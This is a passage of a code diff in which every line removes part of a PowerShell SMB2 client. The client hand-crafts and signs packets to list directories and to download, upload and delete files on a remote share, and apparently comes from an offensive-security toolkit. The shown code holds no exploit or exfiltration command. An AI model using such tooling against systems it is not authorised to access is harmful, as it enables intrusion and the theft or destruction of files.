-                                    $query_info_request_buffer_1 = 8
-                                    $query_info_request_info_type_2 = 0x02
-                                    $query_info_request_file_info_class_2 = 0x05
-                                    $query_info_request_output_buffer_length_2 = 0x50,0x00,0x00,0x00
-                                    $query_info_request_input_buffer_offset_2 = 0x00,0x00
-                                    $query_info_request_buffer_2 = 1
-                                    $SMB_file_ID = $client_receive[132..147]
-                                    $stage = 'QueryInfoRequest'
-                                }
-
-                            }
-
-                        }
-                        elseif($share_subdirectory_start)
-                        {
-                            $SMB_file_ID = $client_receive[132..147]
-                            $stage = 'CloseRequest'
-                        }
-                        elseif($directory_list.Count -gt 0 -or $action_step -eq 1)
-                        {
-                            $stage = 'FindRequest'
-                        }
-                        else
-                        {
-                            $header_next_command = 0x70,0x00,0x00,0x00
-                            $query_info_request_info_type_1 = 0x02
-                            $query_info_request_file_info_class_1 = 0x01
-                            $query_info_request_output_buffer_length_1 = 0x58,0x00,0x00,0x00
-                            $query_info_request_input_buffer_offset_1 = 0x00,0x00
-                            $query_info_request_buffer_1 = 8
-                            $query_info_request_info_type_2 = 0x02
-                            $query_info_request_file_info_class_2 = 0x05
-                            $query_info_request_output_buffer_length_2 = 0x50,0x00,0x00,0x00
-                            $query_info_request_input_buffer_offset_2 = 0x00,0x00
-                            $query_info_request_buffer_2 = 1
-                            $SMB_file_ID = $client_receive[132..147]
-                            $stage = 'QueryInfoRequest'
-
-                            if($share_subdirectory)
-                            {
-                                $share_subdirectory_start = $true
-                            }
-
-                        }
-
-                    }
-
-                    'CreateRequestFindRequest'
-                    {
-                        $message_ID++
-                        $packet_SMB2_header = New-PacketSMB2Header 0x05,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
-                        $packet_SMB2_data = New-PacketSMB2CreateRequest $file 1
-                        $packet_SMB2_data["DesiredAccess"] = 0x81,0x00,0x10,0x00
-                        $packet_SMB2_data["ShareAccess"] = 0x07,0x00,0x00,0x00
-                        $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                        $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data
-                        $packet_SMB2_header["NextCommand"] = [System.BitConverter]::GetBytes($SMB2_header.Length + $SMB2_data.Length)
-                        $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                        $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data
-
-                        if($SMB_signing)
-                        {
-                            $SMB2_sign = $SMB2_header + $SMB2_data  
-                            $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)
-                            $SMB2_signature = $SMB2_signature[0..15]
-                            $packet_SMB2_header["Signature"] = $SMB2_signature
-                            $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                        }
-
-                        $message_ID++
-                        $packet_SMB2b_header = New-PacketSMB2Header 0x0e,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
-                        $packet_SMB2b_header["NextCommand"] = 0x68,0x00,0x00,0x00
-
-                        if($SMB_signing)
-                        {
-                            $packet_SMB2b_header["Flags"] = 0x0c,0x00,0x00,0x00      
-                        }
-                        else
-                        {
-                            $packet_SMB2b_header["Flags"] = 0x04,0x00,0x00,0x00
-                        }
-
-                        $packet_SMB2b_data = New-PacketSMB2FindRequestFile 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff 0x00,0x00,0x00,0x00,0x00,0x00
-                        $SMB2b_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_header
-                        $SMB2b_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_data    
-
-                        if($SMB_signing)
-                        {
-                            $SMB2_sign = $SMB2b_header + $SMB2b_data 
-                            $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)
-                            $SMB2_signature = $SMB2_signature[0..15]
-                            $packet_SMB2b_header["Signature"] = $SMB2_signature
-                            $SMB2b_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_header
-                        }
-
-                        $message_ID++
-                        $packet_SMB2c_header = New-PacketSMB2Header 0x0e,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
-
-                        if($SMB_signing)
-                        {
-                            $packet_SMB2c_header["Flags"] = 0x0c,0x00,0x00,0x00      
-                        }
-                        else
-                        {
-                            $packet_SMB2c_header["Flags"] = 0x04,0x00,0x00,0x00
-                        }
-
-                        $packet_SMB2c_data = New-PacketSMB2FindRequestFile 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
-                        $packet_SMB2c_data["OutputBufferLength"] = 0x80,0x00,0x00,0x00
-                        $SMB2c_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2c_header
-                        $SMB2c_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2c_data    
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService ($SMB2_header.Length + $SMB2b_header.Length + $SMB2c_header.Length)  ($SMB2_data.Length + $SMB2b_data.Length + $SMB2c_data.Length)
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-
-                        if($SMB_signing)
-                        {
-                            $SMB2_sign = $SMB2c_header + $SMB2c_data 
-                            $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)
-                            $SMB2_signature = $SMB2_signature[0..15]
-                            $packet_SMB2c_header["Signature"] = $SMB2_signature
-                            $SMB2c_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2c_header
-                        }
-
-                        $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB2b_header + $SMB2b_data + $SMB2c_header + $SMB2c_data
-                        $client_stream.Write($client_send,0,$client_send.Length) > $null
-                        $client_stream.Flush()
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-
-                        if($Action -eq 'Delete')
-                        {
-                            $stage = 'CreateRequest'
-                            $file = [System.Text.Encoding]::Unicode.GetBytes($share_subdirectory)
-                            $action_step++
-                        }
-                        else
-                        {
-                            $stage = 'ParseDirectoryContents'
-                        }
-
-                    }
-
-                    'FindRequest'
-                    {
-                        $SMB_file_ID = $client_receive[132..147]
-                        $message_ID++
-                        $packet_SMB2_header = New-PacketSMB2Header 0x0e,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
-                        $packet_SMB2_header["NextCommand"] = 0x68,0x00,0x00,0x00
-                        $packet_SMB2_data = New-PacketSMB2FindRequestFile $SMB_file_ID 0x00,0x00,0x00,0x00,0x00,0x00
-                        $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                        $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data    
-
-                        if($SMB_signing)
-                        {
-                            $SMB2_sign = $SMB2_header + $SMB2_data 
-                            $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)
-                            $SMB2_signature = $SMB2_signature[0..15]
-                            $packet_SMB2_header["Signature"] = $SMB2_signature
-                            $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                        }
-
-                        $message_ID++
-                        $packet_SMB2b_header = New-PacketSMB2Header 0x0e,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
-
-                        if($SMB_signing)
-                        {
-                            $packet_SMB2b_header["Flags"] = 0x0c,0x00,0x00,0x00      
-                        }
-                        else
-                        {
-                            $packet_SMB2b_header["Flags"] = 0x04,0x00,0x00,0x00
-                        }
-
-                        $packet_SMB2b_data = New-PacketSMB2FindRequestFile $SMB_file_ID
-                        $packet_SMB2b_data["OutputBufferLength"] = 0x80,0x00,0x00,0x00
-                        $SMB2b_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_header
-                        $SMB2b_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_data    
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService ($SMB2_header.Length + $SMB2b_header.Length)  ($SMB2_data.Length + $SMB2b_data.Length)
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-
-                        if($SMB_signing)
-                        {
-                            $SMB2_sign = $SMB2b_header + $SMB2b_data 
-                            $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)
-                            $SMB2_signature = $SMB2_signature[0..15]
-                            $packet_SMB2b_header["Signature"] = $SMB2_signature
-                            $SMB2b_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_header
-                        }
-
-                        $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB2b_header + $SMB2b_data
-                        $client_stream.Write($client_send,0,$client_send.Length) > $null
-                        $client_stream.Flush()
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-
-                        if($Action -eq 'Get' -and $action_step -eq 1)
-                        {
-                            $find_response = [System.BitConverter]::ToString($client_receive)
-                            $find_response = $find_response -replace "-",""
-                            $file_unicode = [System.BitConverter]::ToString([System.Text.Encoding]::Unicode.GetBytes($source_file))
-                            $file_unicode = $file_unicode -replace "-",""
-                            $file_size_index = $find_response.IndexOf($file_unicode) - 128
-                            $file_size = [System.BitConverter]::ToUInt32($client_receive[($file_size_index / 2)..($file_size_index / 2 + 7)],0)
-                            $action_step++
-                            $create_request_extra_info = 1
-                            $stage = 'CreateRequest'
-
-                            if($share_subdirectory -eq $file)
-                            {
-                                $file = [System.Text.Encoding]::Unicode.GetBytes($file)
-                            }
-                            else
-                            {
-                                $file = [System.Text.Encoding]::Unicode.GetBytes($share_subdirectory)
-                            }
-
-                        }
-                        else
-                        {
-                            $stage = 'ParseDirectoryContents'
-                        }
-
-                    }
-
-                    'IoctlRequest'
-                    {
-                        $tree_ID = 0x01,0x00,0x00,0x00
-                        $ioctl_path = "\" + $Target + "\" + $Share
-                        $ioctl_path_bytes = [System.Text.Encoding]::Unicode.GetBytes($ioctl_path) + 0x00,0x00
-                        $message_ID++
-                        $packet_SMB2_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
-                        $packet_SMB2_data = New-PacketSMB2IoctlRequest $ioctl_path_bytes
-                        $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                        $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data    
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-
-                        if($SMB_signing)
-                        {
-                            $SMB2_sign = $SMB2_header + $SMB2_data 
-                            $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)
-                            $SMB2_signature = $SMB2_signature[0..15]
-                            $packet_SMB2_header["Signature"] = $SMB2_signature
-                            $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                        }
-
-                        $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data
-                        $client_stream.Write($client_send,0,$client_send.Length) > $null
-                        $client_stream.Flush()
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-                        $tree_ID = 0x00,0x00,0x00,0x00
-                        $stage = 'TreeConnect'
-                    }
-
-                    'Logoff'
-                    {
-                        $message_ID++
-                        $packet_SMB2_header = New-PacketSMB2Header 0x02,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
-                        $packet_SMB2_data = New-PacketSMB2SessionLogoffRequest
-                        $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                        $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-
-                        if($SMB_signing)
-                        {
-                            $SMB2_sign = $SMB2_header + $SMB2_data
-                            $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)
-                            $SMB2_signature = $SMB2_signature[0..15]
-                            $packet_SMB2_header["Signature"] = $SMB2_signature
-                            $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                        }
-
-                        $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data
-                        $client_stream.Write($client_send,0,$client_send.Length) > $null
-                        $client_stream.Flush()
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-                        $stage = 'Exit'
-                    }
-
-                    'ParseDirectoryContents'
-                    {
-                        $subdirectory_list = New-Object System.Collections.ArrayList
-                        $create_response_file = [System.BitConverter]::ToString($client_receive)
-                        $create_response_file = $create_response_file -replace "-",""
-                        $directory_contents_mode_list = New-Object System.Collections.ArrayList
-                        $directory_contents_create_time_list = New-Object System.Collections.ArrayList
-                        $directory_contents_last_write_time_list = New-Object System.Collections.ArrayList
-                        $directory_contents_length_list = New-Object System.Collections.ArrayList
-                        $directory_contents_name_list = New-Object System.Collections.ArrayList
-
-                        if($directory_list.Count -gt 0)
-                        {
-                            $create_response_file_index = 152
-                            $directory_list.RemoveAt(0) > $null
-                        }
-                        else
-                        {
-                            $create_response_file_index = $create_response_file.Substring(10).IndexOf("FE534D42") + 154
-                        }
-
-                        do
-                        {
-                            $SMB_next_offset = [System.BitConverter]::ToUInt32($client_receive[($create_response_file_index / 2 + $SMB_offset)..($create_response_file_index / 2 + 3 + $SMB_offset)],0)
-                            $SMB_file_length = [System.BitConverter]::ToUInt32($client_receive[($create_response_file_index / 2 + 40 + $SMB_offset)..($create_response_file_index / 2 + 47 + $SMB_offset)],0)
-                            $SMB_file_attributes = [Convert]::ToString($client_receive[($create_response_file_index / 2 + 56 + $SMB_offset)],2).PadLeft(16,'0')
-
-                            if($SMB_file_length -eq 0)
-                            {
-                                $SMB_file_length = $null
-                            }
-
-                            if($SMB_file_attributes.Substring(11,1) -eq '1')
-                            {
-                                $SMB_file_mode = "d"
-                            }
-                            else
-                            {
-                                $SMB_file_mode = "-"
-                            }
-
-                            if($SMB_file_attributes.Substring(10,1) -eq '1')
-                            {
-                                $SMB_file_mode+= "a"
-                            }
-                            else
-                            {
-                                $SMB_file_mode+= "-"
-                            }
-
-                            if($SMB_file_attributes.Substring(15,1) -eq '1')
-                            {
-                                $SMB_file_mode+= "r"
-                            }
-                            else
-                            {
-                                $SMB_file_mode+= "-"
-                            }
-
-                            if($SMB_file_attributes.Substring(14,1) -eq '1')
-                            {
-                                $SMB_file_mode+= "h"
-                            }
-                            else
-                            {
-                                $SMB_file_mode+= "-"
-                            }
-
-                            if($SMB_file_attributes.Substring(13,1) -eq '1')
-                            {
-                                $SMB_file_mode+= "s"
-                            }
-                            else
-                            {
-                                $SMB_file_mode+= "-"
-                            }
-
-                            $file_create_time = [Datetime]::FromFileTime([System.BitConverter]::ToInt64($client_receive[($create_response_file_index / 2 + 8 + $SMB_offset)..($create_response_file_index / 2 + 15 + $SMB_offset)],0))
-                            $file_create_time = Get-Date $file_create_time -format 'M/d/yyyy h:mm tt'
-                            $file_last_write_time = [Datetime]::FromFileTime([System.BitConverter]::ToInt64($client_receive[($create_response_file_index / 2 + 24 + $SMB_offset)..($create_response_file_index / 2 + 31 + $SMB_offset)],0))
-                            $file_last_write_time = Get-Date $file_last_write_time -format 'M/d/yyyy h:mm tt'
-                            $SMB_filename_length = [System.BitConverter]::ToUInt32($client_receive[($create_response_file_index / 2 + 60 + $SMB_offset)..($create_response_file_index / 2 + 63 + $SMB_offset)],0)
-                            $SMB_filename_unicode = $client_receive[($create_response_file_index / 2 + 104 + $SMB_offset)..($create_response_file_index / 2 + 104 + $SMB_offset + $SMB_filename_length - 1)]
-                            $SMB_filename = [System.BitConverter]::ToString($SMB_filename_unicode)
-                            $SMB_filename = $SMB_filename -replace "-00",""
-
-                            if($SMB_filename.Length -gt 2)
-                            {
-                                $SMB_filename = $SMB_filename.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
-                                $SMB_filename_extract = New-Object System.String ($SMB_filename,0,$SMB_filename.Length)
-                            }
-                            else
-                            {
-                                $SMB_filename_extract = [String][Char][System.Convert]::ToInt16($SMB_filename,16)
-                            }
-
-                            if(!$Modify)
-                            {
-                                $file_last_write_time = $file_last_write_time.PadLeft(19,0)
-                                [String]$SMB_file_length = $SMB_file_length
-                                $SMB_file_length = $SMB_file_length.PadLeft(15,0)
-                            }
-
-                            if($SMB_file_attributes.Substring(11,1) -eq '1')
-                            {
-
-                                if($SMB_filename_extract -ne '.' -and $SMB_filename_extract -ne '..')
-                                {
-                                    $subdirectory_list.Add($SMB_filename_unicode) > $null
-                                    $directory_contents_name_list.Add($SMB_filename_extract) > $null
-                                    $directory_contents_mode_list.Add($SMB_file_mode) > $null
-                                    $directory_contents_length_list.Add($SMB_file_length) > $null
-                                    $directory_contents_last_write_time_list.Add($file_last_write_time) > $null
-                                    $directory_contents_create_time_list.Add($file_create_time) > $null
-                                }
-
-                            }
-                            else
-                            {
-                                $directory_contents_name_list.Add($SMB_filename_extract) > $null
-                                $directory_contents_mode_list.Add($SMB_file_mode) > $null
-                                $directory_contents_length_list.Add($SMB_file_length) > $null
-                                $directory_contents_last_write_time_list.Add($file_last_write_time) > $null
-                                $directory_contents_create_time_list.Add($file_create_time) > $null
-                            }
-
-                            if($share_subdirectory -and !$share_subdirectory_start)
-                            {
-                                $root_directory_string = $share_subdirectory + '\'
-                            }
-
-                            $SMB_offset += $SMB_next_offset
-                        }
-                        until($SMB_next_offset -eq 0)
-
-                        if($directory_contents_name_list)
-                        {
-
-                            if($root_directory_string)
-                            {
-                                $file_directory = $target_share + "\" + $root_directory_string.Substring(0,$root_directory_string.Length - 1)
-                            }
-                            else
-                            {
-                                $file_directory = $target_share
-                            }
-
-                        }
-
-                        $directory_contents_output = @()
-                        $i = 0
-
-                        ForEach($directory in $directory_contents_name_list)
-                        {
-                            $directory_object = New-Object PSObject
-                            Add-Member -InputObject $directory_object -MemberType NoteProperty -Name Name -Value ($file_directory + "\" + $directory_contents_name_list[$i])
-                            Add-Member -InputObject $directory_object -MemberType NoteProperty -Name Mode -Value $directory_contents_mode_list[$i]
-                            Add-Member -InputObject $directory_object -MemberType NoteProperty -Name Length -Value $directory_contents_length_list[$i]
-
-                            if($Modify)
-                            {
-                                Add-Member -InputObject $directory_object -MemberType NoteProperty -Name CreateTime -Value $directory_contents_create_time_list[$i]
-                            }
-
-                            Add-Member -InputObject $directory_object -MemberType NoteProperty -Name LastWriteTime -Value $directory_contents_last_write_time_list[$i]
-                            $directory_contents_output += $directory_object
-                            $i++
-                        }
-
-                        if($directory_contents_output -and !$Modify)
-                        {
-
-                            if($directory_contents_hide_headers)
-                            {
-                                ($directory_contents_output | Format-Table -Property @{ Name="Mode"; Expression={$_.Mode }; Alignment="left"; },
-                                                                            @{ Name="LastWriteTime"; Expression={$_.LastWriteTime }; Alignment="right"; },
-                                                                            @{ Name="Length"; Expression={$_.Length }; Alignment="right"; },
-                                                                            @{ Name="Name"; Expression={$_.Name }; Alignment="left"; } -AutoSize -HideTableHeaders -Wrap| Out-String).Trim()
-                            }
-                            else
-                            {
-                                $directory_contents_hide_headers = $true
-                                ($directory_contents_output | Format-Table -Property @{ Name="Mode"; Expression={$_.Mode }; Alignment="left"; },
-                                                                            @{ Name="LastWriteTime"; Expression={$_.LastWriteTime }; Alignment="right"; },
-                                                                            @{ Name="Length"; Expression={$_.Length }; Alignment="right"; },
-                                                                            @{ Name="Name"; Expression={$_.Name }; Alignment="left"; } -AutoSize -Wrap| Out-String).Trim()
-                            }
-
-                        }
-                        else
-                        {
-                            $directory_contents_output
-                        }
-
-                        $subdirectory_list.Reverse() > $null
-
-                        ForEach($subdirectory in $subdirectory_list)
-                        {  
-                            $directory_list.Insert(0,($root_directory + $subdirectory)) > $null
-                        }
-                        
-                        $SMB_offset = 0
-                        $stage = 'CloseRequest'
-                    }
-
-                    'QueryInfoRequest'
-                    {
-                        $message_ID++
-                        $packet_SMB2_header = New-PacketSMB2Header 0x10,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
-                        $packet_SMB2_header["NextCommand"] = $header_next_command
-                        $packet_SMB2_data = New-PacketSMB2QueryInfoRequest $query_info_request_info_type_1 $query_info_request_file_info_class_1 $query_info_request_output_buffer_length_1 $query_info_request_input_buffer_offset_1 $SMB_file_ID $query_info_request_buffer_1
-                        $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                        $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data    
-
-                        if($SMB_signing)
-                        {
-                            $SMB2_sign = $SMB2_header + $SMB2_data 
-                            $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)
-                            $SMB2_signature = $SMB2_signature[0..15]
-                            $packet_SMB2_header["Signature"] = $SMB2_signature
-                            $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                        }
-
-                        $message_ID++
-                        $packet_SMB2b_header = New-PacketSMB2Header 0x10,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
-
-                        if($SMB_signing)
-                        {
-                            $packet_SMB2b_header["Flags"] = 0x0c,0x00,0x00,0x00      
-                        }
-                        else
-                        {
-                            $packet_SMB2b_header["Flags"] = 0x04,0x00,0x00,0x00
-                        }
-
-                        $packet_SMB2b_data = New-PacketSMB2QueryInfoRequest $query_info_request_info_type_2 $query_info_request_file_info_class_2 $query_info_request_output_buffer_length_2 $query_info_request_input_buffer_offset_2 $SMB_file_ID $query_info_request_buffer_2
-                        $SMB2b_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_header
-                        $SMB2b_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_data
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService ($SMB2_header.Length + $SMB2b_header.Length)  ($SMB2_data.Length + $SMB2b_data.Length)
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-
-                        if($SMB_signing)
-                        {
-                            $SMB2_sign = $SMB2b_header + $SMB2b_data 
-                            $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)
-                            $SMB2_signature = $SMB2_signature[0..15]
-                            $packet_SMB2b_header["Signature"] = $SMB2_signature
-                            $SMB2b_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_header
-                        }
-
-                        $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB2b_header + $SMB2b_data
-                        $client_stream.Write($client_send,0,$client_send.Length) > $null
-                        $client_stream.Flush()
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-
-                        if($share_subdirectory_start)
-                        {
-                            $file = [System.Text.Encoding]::Unicode.GetBytes($share_subdirectory)
-                            $root_directory = $file + 0x5c,0x00
-                            $create_request_extra_info = 1
-                            $stage = 'CreateRequest'
-                        }
-                        elseif($Action -eq 'Get')
-                        {
-
-                            switch($action_step)
-                            {
-
-                                5
-                                {
-                                    $query_info_response = [System.BitConverter]::ToString($client_receive)
-                                    $query_info_response = $query_info_response -replace "-",""
-                                    $file_stream_size_index = $query_info_response.Substring(10).IndexOf("FE534D42") + 170
-                                    $file_stream_size = [System.BitConverter]::ToUInt32($client_receive[($file_stream_size_index / 2)..($file_stream_size_index / 2 + 8)],0)
-                                    $file_stream_size_quotient = [Math]::Truncate($file_stream_size / 65536)
-                                    $file_stream_size_remainder = $file_stream_size % 65536
-                                    $percent_complete = $file_stream_size_quotient
-
-                                    if($file_stream_size_remainder -ne 0)
-                                    {
-                                        $percent_complete++
-                                    }
-                                    
-                                    if($file_stream_size -lt 1024)
-                                    {
-                                        $progress_file_size = "" + $file_stream_size + "B"
-                                    }
-                                    elseif($file_stream_size -lt 1024000)
-                                    {
-                                        $progress_file_size = "" + ($file_stream_size / 1024).ToString('.00') + "KB"
-                                    }
-                                    else
-                                    {
-                                        $progress_file_size = "" + ($file_stream_size / 1024000).ToString('.00') + "MB"
-                                    }
-
-                                    $header_next_command = 0x70,0x00,0x00,0x00
-                                    $query_info_request_info_type_1 = 0x02
-                                    $query_info_request_file_info_class_1 = 0x01
-                                    $query_info_request_output_buffer_length_1 = 0x58,0x00,0x00,0x00
-                                    $query_info_request_input_buffer_offset_1 = 0x00,0x00
-                                    $query_info_request_buffer_1 = 8
-                                    $query_info_request_info_type_2 = 0x02
-                                    $query_info_request_file_info_class_2 = 0x05
-                                    $query_info_request_output_buffer_length_2 = 0x50,0x00,0x00,0x00
-                                    $query_info_request_input_buffer_offset_2 = 0x00,0x00
-                                    $query_info_request_buffer_2 = 1
-                                    $action_step++
-                                    $stage = 'QueryInfoRequest'
-                                }
-
-                                6
-                                {
-
-                                    if($file_stream_size -lt 65536)
-                                    {
-                                        $read_request_length = $file_stream_size
-                                    }
-                                    else
-                                    {
-                                        $read_request_length = 65536
-                                    }
-
-                                    $read_request_offset = 0
-                                    $read_request_step = 1
-                                    $action_step++
-                                    $stage = 'ReadRequest'
-                                }
-
-                            }
-                        }
-                        elseif($Action -eq 'Put')
-                        {
-                            $percent_complete = $source_file_size_quotient
-
-                            if($source_file_size_remainder -ne 0)
-                            {
-                                $percent_complete++
-                            }
-
-                            if($source_file_size -lt 1024)
-                            {
-                                $progress_file_size = "" + $source_file_size + "B"
-                            }
-                            elseif($source_file_size -lt 1024000)
-                            {
-                                $progress_file_size = "" + ($source_file_size / 1024).ToString('.00') + "KB"
-                            }
-                            else
-                            {
-                                $progress_file_size = "" + ($source_file_size / 1024000).ToString('.00') + "MB"
-                            }
-
-                            $action_step++
-                            $set_info_request_file_info_class = 0x01
-                            $set_info_request_info_level = 0x14
-                            $set_info_request_buffer = [System.BitConverter]::GetBytes($source_file_size)
-                            $stage = 'SetInfoRequest'
-                        }
-                        elseif($Action -eq 'Delete')
-                        {
-                            $stage = 'CreateRequest'
-                        }
-                        else
-                        {
-                            $stage = 'CreateRequestFindRequest'
-                        }
-
-                    }
-
-                    'ReadRequest'
-                    {
-                        $message_ID++
-                        $packet_SMB2_header = New-PacketSMB2Header 0x08,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
-                        $packet_SMB2_data = New-PacketSMB2ReadRequest $read_request_length $read_request_offset $SMB_file_ID
-                        $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                        $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data 
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-
-                        if($SMB_signing)
-                        {
-                            $SMB2_sign = $SMB2_header + $SMB2_data 
-                            $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)
-                            $SMB2_signature = $SMB2_signature[0..15]
-                            $packet_SMB2_header["Signature"] = $SMB2_signature
-                            $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                        }
-
-                        $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data 
-                        $client_stream.Write($client_send,0,$client_send.Length) > $null
-                        $client_stream.Flush()
-                        Start-Sleep -m 5
-
-                        if($read_request_length -eq 65536)
-                        {
-                            $i = 0
-
-                            while($client.Available -lt 8192 -and $i -lt 10)
-                            {
-                                Start-Sleep -m $Sleep
-                                $i++
-                            }
-
-                        }
-                        else
-                        {
-                            Start-Sleep -m $Sleep
-                        }
-                        
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-
-                        if($Action -eq 'Get' -and $action_step -eq 3)
-                        {
-                            $action_step++
-                            $create_request_extra_info = 1
-                            $stage = 'CreateRequest'
-                        }
-                        elseif($Action -eq 'Get' -and $action_step -eq 7)
-                        {
-
-                            if(!$NoProgress)
-                            {
-                                $percent_complete_calculation = [Math]::Truncate($read_request_step / $percent_complete * 100)
-                                Write-Progress -Activity "Downloading $source_file - $progress_file_size" -Status "$percent_complete_calculation% Complete:" -PercentComplete $percent_complete_calculation
-                            }
-
-                            $file_bytes = $client_receive[84..($read_request_length + 83)]
-    
-                            if(!$Modify)
-                            {
-
-                                if(!$file_write)
-                                {
-                                    $file_write = New-Object 'System.IO.FileStream' $destination_path,'Append','Write','Read'
-                                }
-
-                                $file_write.Write($file_bytes,0,$file_bytes.Count)
-                            }
-                            else
-                            {
-                                $file_memory.AddRange($file_bytes)
-                            }
-
-                            if($read_request_step -lt $file_stream_size_quotient)
-                            {
-                                $read_request_offset+=65536
-                                $read_request_step++
-                                $stage = 'ReadRequest'
-                            }
-                            elseif($read_request_step -eq $file_stream_size_quotient -and $file_stream_size_remainder -ne 0)
-                            {
-                                $read_request_length = $file_stream_size_remainder
-                                $read_request_offset+=65536
-                                $read_request_step++
-                                $stage = 'ReadRequest'
-                            }
-                            else
-                            {
-
-                                if(!$Modify)
-                                {
-                                    $file_write.Close()
-                                }
-                                else
-                                {
-                                    $file_memory.ToArray()
-                                }
-
-                                $output_message = "[+] File downloaded"
-                                $stage = 'CloseRequest'
-                            }
-                            
-                        }
-                        elseif([System.BitConverter]::ToString($client_receive[12..15]) -ne '03-01-00-00')
-                        {
-                            $stage = 'CloseRequest'
-                        }
-                        else
-                        {
-                            $stage = 'CloseRequest'
-                        }
-
-                    }
-
-                    'SetInfoRequest'
-                    {
-                        $message_ID++
-                        $packet_SMB2_header = New-PacketSMB2Header 0x11,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
-                        $packet_SMB2_data = New-PacketSMB2SetInfoRequest $set_info_request_file_info_class $set_info_request_info_level $SMB_file_ID $set_info_request_buffer
